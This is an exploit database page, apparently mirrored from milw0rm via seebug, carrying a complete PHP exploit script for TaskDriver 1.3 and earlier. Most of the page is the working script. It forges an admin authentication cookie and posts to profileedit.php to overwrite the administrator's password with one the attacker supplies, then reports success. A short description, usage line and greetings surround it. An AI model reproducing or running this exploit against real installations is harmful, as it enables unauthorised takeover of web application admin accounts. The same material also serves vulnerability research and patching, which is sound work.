Lucene search
K

TaskDriver <= 1.3 - Remote Change Admin Password Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 9 Views

TaskDriver 1.3 Remote Change Admin Password Exploit using insecure cookie handling flaw. Doesn't need SQL injection. Compatible with magic quotes on and off

Code

                                                &#60;?php

/*
	$Id: taskdriver-1.3.php,v 0.1 2008/12/03 04:04:28 cOndemned Exp $

	TaskDriver &#60;= 1.3 Remote Change Admin Password Exploit
	Bug found && Exploited by cOndemned
	
	Download:
	
		http://www.taskdriver.com/downtrack/index.php?down=2
	
	
	Description:
	
		This exploit uses insecure cookie handling flaw in order
		to compromisse the system. In the begining its almost like
		the one that Silentz wrote for version 1.2 but not exactly.
		
		Actually there is no need to use sql injection for gaining
		admin password (hash). We can just set cookie value to :
		
			&#34;auth=fook!admin&#34;
			
		access profileedit.php and change his password for whatever
		we want to x]
		
		Next IMO nice thing is that it works both with magic quotes
		on and off :P
	
	-------------------------------------------------------------------
	
	Greetz:
	
		ZaBeaTy, Avantura, l5x, str0ke, d2, sid.psycho & TWT, 0in,
		doctor, Gynvael Coldwind ...
		
		http://www.youtube.com/watch?v=f7O6ekKOE9g
		
*/

	echo &#34;\n[~] TaskDriver &#60;= 1.3 Remote Change Admin Password Exploit&#34;;
	echo &#34;\n[~] Bug found && Exploited by cOndemned\n&#34;;

	if($argc != 3)
	{
		printf(&#34;[!] Usage: php %s &#60;target&#62; &#60;new-password&#62;\n\n&#34;, $argv[0]);
		exit;
	}

	list($script, $target, $pass) = $argv;

	$xpl = curl_init();

	curl_setopt_array($xpl, array
		(	
			CURLOPT_URL		=&#62; &#34;{$target}/profileedit.php&#34;,
			CURLOPT_COOKIE		=&#62; &#34;auth=fook!admin&#34;,
			CURLOPT_RETURNTRANSFER	=&#62; true, 
			CURLOPT_POST		=&#62; true,
			CURLOPT_POSTFIELDS	=&#62; &#34;password={$pass}&#34;	
		));
	
	$ret = curl_exec($xpl);
	curl_close($xpl);
	
	$out = preg_match_all(&#39;#&#60;b&#62;Profile Updated&#60;\/b&#62;#&#39;, $ret, $tmp) ? &#34;[+] Done. You can login now\n\n&#34; : &#34;[-] Exploitation failed\n\n&#34;;
	
	echo $out;

?&#62;

# milw0rm.com [2008-12-29]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation